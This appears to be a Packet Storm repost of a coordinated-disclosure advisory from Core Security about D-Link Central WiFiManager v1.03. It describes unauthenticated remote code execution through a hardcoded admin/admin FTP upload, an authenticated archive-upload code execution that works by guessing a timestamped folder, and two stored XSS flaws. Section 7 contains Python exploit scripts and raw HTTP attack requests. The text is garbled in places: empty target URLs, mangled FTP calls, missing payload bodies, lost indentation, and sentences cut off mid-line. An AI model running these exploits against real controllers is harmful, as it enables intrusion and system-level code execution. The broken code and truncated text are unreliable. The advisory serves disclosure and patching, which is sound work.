D-Link Central WiFiManager Software Controller Code Execution / XSS

Type packetstorm
Reporter Core Security Technologies
Modified 2018-10-04T00:00:00


                                            `Core Security - Corelabs Advisory  
D-Link Central WiFiManager Software Controller Multiple Vulnerabilities  
1. *Advisory Information*  
Title: D-Link Central WiFiManager Software Controller Multiple  
Advisory ID: CORE-2018-0010  
Advisory URL: http://www.coresecurity.com/advisories/d-link-central-wifimanager-software-controller-multiple-vulnerabilities  
Date published: 2018-10-04  
Date of last update: 2018-10-04  
Vendors contacted: D-Link  
Release mode: Coordinated release  
2. *Vulnerability Information*  
Class: Unrestricted Upload of File with Dangerous Type [CWE-434],  
Improper Authorization [CWE-285], Improper Neutralization of Input  
During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper  
Neutralization of Input During Web Page Generation  
('Cross-site Scripting') [CWE-79]  
Impact: Code execution  
Remotely Exploitable: Yes  
Locally Exploitable: Yes  
CVE Name: CVE-2018-17440, CVE-2018-17442, CVE-2018-17443, CVE-2018-17441  
3. *Vulnerability Description*  
D-Link's website states that:  
[1] Central WiFiManager Software Controller helps network administrators  
streamline their wireless access point (AP) management workflow. Central  
WiFiManager is an innovative approach to the more traditional  
hardware-based multiple access point management system. It uses a  
centralized server to both remotely manage and monitor wireless APs on a  
Vulnerabilities were found in the Central WiFiManager Software  
Controller, allowing unauthenticated and authenticated file upload with  
dangerous type that could lead to remote code execution with system  
permissions. Also, two stored Cross Site Scripting vulnerabilities were  
4. *Vulnerable Packages*  
. Central WifiManager v1.03  
Other products and versions might be affected, but they were not tested.  
5. *Vendor Information, Solutions and Workarounds*  
D-Link released the following Beta version that addresses the reported vulnerabilities:  
. Central WifiManager v 1.03r0100-Beta1  
In addition, D-Link published a security note in:  
6. *Credits*  
These vulnerabilities were discovered and researched by Julian Munoz  
from Core Security Consulting Services. The publication of this advisory  
was coordinated by Leandro Cuozzo from Core Advisories Team.  
7. *Technical Description / Proof of Concept Code*  
D-Link Central WiFiManager Software Controller exposes an FTP server  
that serves by default in port 9000 and has hardcoded credentials  
(admin, admin). Taking advantage of this fact, we will upload a PHP file  
in the '/web/public' directory and then, by requesting this file, will  
be able to execute arbitrary code on the target system (shown in 7.1).  
On 7.2 we show a similar attack to but in this case with an  
authenticated user in the web application. The application has a  
functionality to upload a .rar file used for the captive portal  
displayed by the Access Points. We will craft a .rar with a PHP file  
that we will end up executing in the context of the web application.  
When the .rar is uploaded is stored in the path "\web\captivalportal" in  
a folder with a timestamp created by the PHP time() function. In order  
to know what is the web server's time we request an information file  
that contains the time we are looking for. After we have the server's  
time we upload the .rar, calculate the proper epoch and request the  
appropriate path increasing this epoch by one until we hit the correct  
Finally, we discovered two Cross-Site Scripting, one on the update site  
functionality, in the 'sitename' parameter (7.3) and the other one on  
the creation of a local user in the 'username' parameter (7.4).  
7.1. *Unauthenticated Remote Code Execution by Unrestricted Upload of  
File with Dangerous Type*  
[CVE-2018-17440] The web application starts an FTP server running on the  
port 9000 by default with admin/admin credentials and do not show the  
option to change it, so in this POC we establish a connection with the  
server and upload a PHP file. Since the application do not restrict  
unauthenticated users to request any file in the web root, we later  
request the uploaded file to achieve remote code execution.  
import requests  
from ftplib import FTP  
#stablish connection with FTP server  
host_ip = ""  
ftp = FTP()  
ftp.connect(host=host_ip<ftp://ftp.connect(host=host_ip>, port=9000)  
ftp.login(<ftp://ftp.login(>"admin", "admin")  
data = []  
#create PHP poc file  
poc_php_file = open("poc.php", "w+")  
#upload PHP poc file  
php_file = open("poc.php", "rb")  
ftp.storbinary(<ftp://ftp.storbinary(>"STOR write_file.php", php_file)  
for line in data:  
print "-", line  
session = requests.Session()  
session.trust_env = False  
#get the uploaded file for remote code execution  
get_uploaded_file = session.get('', verify=False)  
print get_uploaded_file.text  
7.2. *Authenticated Remote Code Execution by Unrestricted Upload of File with Dangerous Type*  
[CVE-2018-17442] In this case we make a file upload using the  
functionality given by the onUploadLogPic endpoint, that will take a  
.rar file, decompress it and store it in a folder named after the PHP  
time() function. Our goal is first obtain the server's time, upload a  
.rar with our PHP file, calculate the proper epoch and iterate  
increasing it until we hit the proper one and remote code execution is  
import re  
import time  
import requests  
import datetime  
import tarfile  
def parse_to_datetime(date_string):  
date_list = date_string.split("-")  
td = date_list[2][2:].split(":")  
return datetime.datetime(int(date_list[0]), int(date_list[1]), int(date_list[2][:2]),int(td[0]), int(td[1]), int(td[2]))  
session = requests.Session()  
session.trust_env = False  
php_session_id = "96sml0e9soke02k6d672oumqq4" #example (insert here the proper session id)  
cookie = {'PHPSESSID': php_session_id}  
#create tar file to upload.  
poc_php_file = open("poc.php", "w+")  
poc_tar_file = tarfile.open("poc_tar_file.tar", mode="w")  
#get server datetime.  
get_server_time_from_requested_file = session.get('',  
cookies=cookie, verify=False)  
date = re.search("Date(.*)\d", get_server_time_from_requested_file.text).group().replace('DateTime ', '')  
#generate epoch from server's date  
epoch = int(time.mktime(parse_to_datetime(date).timetuple()))  
#upload attack PHP file.  
attack_tar_file = "poc_tar_file.tar"  
tar_file = {'stylename': 'attack', 'logfile': open(attack_tar_file, 'rb')}  
restore_backup_response = session.post('',  
cookies=cookie, verify=False)  
for i in range(0,20):  
#get the uploaded file named after time epoch, returned by PHP time() function.  
filename = str(epoch) + "/" + "poc.php"  
get_uploaded_file = session.get('' %filename, verify=False)  
if get_uploaded_file.status_code == 200:  
print "Remote Code Execution Achived"  
print get_uploaded_file.text  
epoch += 1  
7.3. *Cross-Site Scripting in the application site name parameter*  
[CVE-2018-17443] The 'sitename' parameter of the UpdateSite endpoint is  
vulnerable to a stored Cross Site Scripting:  
The following is a proof of concept to demonstrate the vulnerability:  
POST /index.php/Config/UpdateSite HTTP/1.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: Test_showmessage=false; Test_tableStyle=1; think_language=en-US;  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 66  
7.4. *Cross-Site Scripting in the creation of a new user*  
[CVE-2018-17441] The 'username' parameter of the addUser endpoint is  
vulnerable to a stored Cross Site Scripting.  
The following is a proof of concept to demonstrate the vulnerability:  
POST /index.php/System/addUser HTTP/1.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded;  
Content-Length: 96  
Cookie: Test_showmessage=false; Test_tableStyle=1; think_language=en-US;  
Connection: close  
8. *Report Timeline*  
2018-06-04: Core Security sent an initial notification to D-Link,  
including a draft advisory.  
2018-06-06:D-Link confirmed the reception of the advisory and informed  
they will have an initial response on 06/08.  
2018-06-08: D-Link informed that they would provide a schedule for the  
fixes on 06/13.  
2018-06-08: Core Security thanked the update.  
2018-06-14: D-Link informed its plan of remediation and notified Core  
Security that the fixed version will be available on 08/31.  
2018-06-15: Core Security thanked the update and proposed to keep in  
regular contact until this tentative release date.  
2018-07-23: Core Security requested a status update.  
2018-07-25: D-Link answered saying that they are still targeting 08/31  
as the release date.  
2018-08-24: Core Security requested a new status update and a solidified  
release date for the fixed version.  
2018-08-28: D-Link sent a beta version for test.  
2018-08-30: Core Security tested the beta version and requested D-Link  
to coordinate a release date.  
2018-09-21: D-Link informed that they were planning a security  
announcement and they were ready to schedule a disclosure date.  
2018-09-24: Core Security thanked the update and proposed October 4th as  
the publication date.  
2018-10-04: Advisory CORE-2018-0010 published.  
9. *References*  
[1] http://us.dlink.com/products/business-solutions/central-wifimanager-software-controller/.  
10. *About CoreLabs*  
CoreLabs, the research center of Core Security, is charged with  
anticipating the future needs and requirements for information security  
technologies. We conduct our research in several important areas of  
computer security including system vulnerabilities, cyber attack  
planning and simulation, source code auditing, and cryptography. Our  
results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
11. *About Core Security*  
Core Security provides companies with the security insight they need to  
know who, how, and what is vulnerable in their organization. The  
company's threat-aware, identity & access, network security, and  
vulnerability management solutions provide actionable insight and  
context needed to manage security risks across the enterprise. This  
shared insight gives customers a comprehensive view of their security  
posture to make better security remediation decisions. Better insight  
allows organizations to prioritize their efforts to protect critical  
assets, take action sooner to mitigate access risk, and react faster if  
a breach does occur.  
Core Security is headquartered in the USA with offices and operations in  
South America, Europe, Middle East and Asia. To learn more, contact Core  
Security at (678) 304-4500 or info@coresecurity.com<mailto:info@coresecurity.com>  
12. *Disclaimer*  
The contents of this advisory are copyright (c) 2018 Core Security and  
(c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution  
Non-Commercial Share-Alike 3.0 (United States) License: